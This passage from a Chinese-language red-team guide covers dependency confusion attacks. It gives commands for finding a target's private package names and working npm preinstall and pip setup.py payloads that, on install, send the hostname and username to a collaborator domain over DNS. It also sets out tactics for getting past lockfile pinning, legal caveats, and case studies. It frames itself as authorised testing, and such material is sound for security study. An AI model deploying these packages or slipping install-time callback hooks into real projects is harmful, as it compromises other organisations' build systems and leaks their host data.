echo "$pkg: $status"
done
# 3. 创建恶意 NuGet 包
dotnet new classlib -n Target.Internal.Utils
# 修改 .csproj 添加 preinstall 脚本
# NuGet 的 install.ps1 / init.ps1 可在安装时执行Go Modules
Go Modules 依赖混淆条件:
├─ GOPROXY 配置:
│ ├─ 默认: GOPROXY=https://proxy.golang.org,direct
│ ├─ 如果有私有模块 → 通常设置 GONOSUMCHECK 或 GOPRIVATE
│ └─ direct: 直接从源码仓库拉取
│
├─ 攻击较难:
│ ├─ Go modules 基于 Git 仓库路径(github.com/company/package)
│ ├─ 攻击者无法控制 github.com/company/* 路径
│ ├─ 除非: 目标使用自定义 vanity URL 且 DNS 可劫持
│ └─ 或: 目标使用 GONOSUMCHECK 跳过 sum 验证
│
└─ 潜在攻击:
├─ 如果私有模块路径是 pkg.target.com/utils
├─ 且该域名 DNS 可被攻击者控制
└─ 攻击者可在该路径提供恶意模块私有包名发现技术
发现方法决策树:
├─ 目标有公开网站?
│ ├─ 是 → JS Source Map / Bundle 分析
│ ├─ 是 → Error Pages 信息泄露
│ └─ 是 → 开发者工具 Network Tab
│
├─ 目标有开源项目?
│ ├─ 是 → 搜索 package.json / requirements.txt / go.mod
│ └─ 是 → 搜索 CI/CD 配置文件
│
├─ 目标有 CDN/Static Assets?
│ └─ 是 → webpack chunk 分析
│
└─ 被动收集
├─ GitHub/GitLab 泄露
├─ npm audit / Snyk 报告
└─ DNS 枚举(npm scope 关联域名)# JS Source Map 分析
# 检查是否存在 source map
curl -s https://target.com/main.js | tail -1
# 如果有: //# sourceMappingURL=main.js.map
curl -s https://target.com/main.js.map | python3 -c "
import json,sys
data = json.load(sys.stdin)
sources = data.get('sources',[])
for s in sources:
if 'node_modules' in s:
pkg = s.split('node_modules/')[-1].split('/')[0]
if not pkg.startswith('.'):
print(pkg)
" | sort -u
# package-lock.json 泄露
curl -s https://target.com/package-lock.json | python3 -c "
import json,sys
data = json.load(sys.stdin)
deps = data.get('dependencies',data.get('packages',{}))
for dep in deps:
name = dep.lstrip('node_modules/').strip()
if name and not name.startswith('@') and not name.startswith('.'):
# 检查是否指向私有 registry
info = deps[dep]
resolved = info.get('resolved','')
if resolved and 'registry.npmjs.org' not in resolved:
print(f'[PRIVATE] {name} → {resolved}')
" 2>/dev/null
# Error Page 信息泄露
# 某些框架在开发模式下泄露依赖信息
curl -s https://target.com/nonexistent 2>/dev/null | grep -iE "module|package|require|import"
# Webpack Bundle 分析
# 下载 JS 文件 → 搜索 require() / import 语句
curl -s https://target.com/static/js/ 2>/dev/null | \
grep -oP 'src="[^"]*\.js"' | grep -oP '"[^"]*"'恶意包 Payload 设计
npm (preinstall hook)
{
"name": "target-internal-pkg",
"version": "99.0.0",
"description": "SECURITY RESEARCH - Dependency Confusion Test by [YourName]. Contact: security@yourcompany.com",
"scripts": {
"preinstall": "node callback.js || true"
}
}// callback.js — 仅 DNS 回调
const dns = require('dns');
const os = require('os');
const data = [
`pkg=${process.env.npm_package_name || 'unknown'}`,
`host=${os.hostname().substring(0, 15)}`,
`user=${os.userInfo().username.substring(0, 10)}`,
`ts=${Date.now()}`
].join('.');
// DNS 回调 — 不外传敏感数据
const subdomain = Buffer.from(data).toString('hex').substring(0, 60);
dns.resolve(`${subdomain}.dc.your-collaborator.com`, () => {});pip (setup.py)
# setup.py — 在 install 时执行
from setuptools import setup
import socket, os
try:
pkg = "target-internal-pkg"
host = socket.gethostname()[:15]
user = os.getenv("USER", "unknown")[:10]
lookup = f"{pkg}.{host}.{user}.dc.your-collaborator.com"
socket.getaddrinfo(lookup, 80)
except:
pass
setup(
name="target-internal-pkg",
version="99.0.0",
description="SECURITY RESEARCH - Dependency Confusion Test",
py_modules=["target_internal_pkg"],
)测试验证 Payload(仅 DNS Callback)
⛔ 合法红队测试原则:
├─ 只做 DNS/HTTP callback — 确认包被安装即可
├─ 不收集敏感数据(环境变量中的 secrets、文件内容等)
├─ Payload 中注明安全测试性质和联系方式
├─ 回调数据: 包名 + 主机名 + 用户名(最小信息)
├─ 不执行反向 shell / 持久化 / 横向移动
└─ 测试完成后立即从公共源撤下包
DNS Callback 优势:
├─ 几乎所有环境都允许 DNS 出站
├─ 不依赖 HTTP 出站(可能被 proxy 拦截)
├─ DNS 日志可作为攻击成功的证据
└─ 对目标系统影响最小
推荐的 Callback 服务:
├─ Burp Collaborator
├─ interactsh (ProjectDiscovery)
├─ dnslog.cn
└─ 自建 DNS 服务器# 使用 interactsh 接收回调
# https://github.com/projectdiscovery/interactsh
interactsh-client -v
# 生成唯一子域名: xxxxxx.interact.sh
# 在 payload 中使用该域名
# 监控: 当目标 CI/CD 安装包时,会收到 DNS 查询防御绕过
Lockfile Pinning 绕过场景
Lockfile 保护的局限:
├─ package-lock.json / yarn.lock 锁定了版本和 integrity hash
├─ ⛔ 但以下场景 lockfile 不保护:
│ ├─ 1. 新增依赖时(npm install new-pkg)→ 不在 lockfile 中
│ ├─ 2. CI/CD 中使用 npm install 而非 npm ci
│ │ └─ npm install 会更新 lockfile → 可能拉取恶意版本
│ ├─ 3. Lockfile 不在版本控制中(.gitignore 包含 lockfile)
│ ├─ 4. 开发者删除 node_modules + lockfile 重新安装
│ └─ 5. Renovate/Dependabot 自动更新 PR
│ └─ 自动更新可能更新到恶意版本
│
└─ 绕过策略:
├─ 等待目标添加新依赖(长期监控)
├─ 等待 Dependabot/Renovate 自动更新
└─ 瞄准没有 lockfile 的子项目(monorepo 场景)OPSEC: 合法红队 vs 非授权
⛔ 法律风险评估:
├─ 合法红队(有书面授权):
│ ├─ 包描述中注明: "Security Research by [Company]"
│ ├─ 仅使用 DNS callback(不执行代码逻辑)
│ ├─ 发布后 72 小时内撤下
│ ├─ 不影响目标以外的用户
│ └─ 报告中提供: 包名、发布时间、callback 记录
│
├─ ⛔ 非授权(可能违法):
│ ├─ 未经授权发布同名包 → 可能构成 CFAA 违规
│ ├─ 包被非目标用户安装 → 影响第三方
│ ├─ 收集敏感信息 → 隐私法律问题
│ └─ 在公共源发布恶意包 → 供应链攻击
│
└─ 最佳实践:
├─ 明确的书面授权范围
├─ 包中 README 注明安全测试
├─ 使用企业唯一标识(不影响其他同名包需求者)
├─ 测试完成立即 unpublish
└─ 详细记录所有操作时间线Case Studies
Alex Birsan 原始研究 (2021)
概述:
├─ 研究者 Alex Birsan 针对 Apple、Microsoft、PayPal 测试
├─ 通过 package-lock.json / JS 文件发现私有包名
├─ 在 npm、PyPI、RubyGems 发布同名高版本包
├─ preinstall hook 执行 DNS callback
├─ 成功在 Apple、Microsoft、PayPal 的内部服务器上触发
├─ 获得 $130,000+ Bug Bounty
│
└─ 关键发现:
├─ npm: 无 scope 的包最容易被替换
├─ pip: --extra-index-url 是最大风险
├─ 内部 CI/CD 系统比开发者机器更容易触发
└─ 许多企业根本不知道自己有这个风险PyTorch Dependency Confusion (2022.12)
概述:
├─ 攻击者在 PyPI 发布 torchtriton 包(PyTorch 的私有依赖)
├─ 版本号高于 PyTorch 私有源中的版本
├─ 使用 pip install 时,PyPI 版本被优先安装
├─ 恶意包窃取: 系统信息、环境变量、SSH 密钥、/etc/hosts
├─ 影响: nightly build 用户(2022.12.25 - 2022.12.30)
│
└─ 教训:
├─ 即使是顶级开源项目也会中招
├─ pip --extra-index-url 是根本原因
├─ 节假日期间攻击 → 响应延迟
└─ 修复: PyTorch 迁移到 --index-url 仅指向私有源Related skills
AI & Agent Buildingagents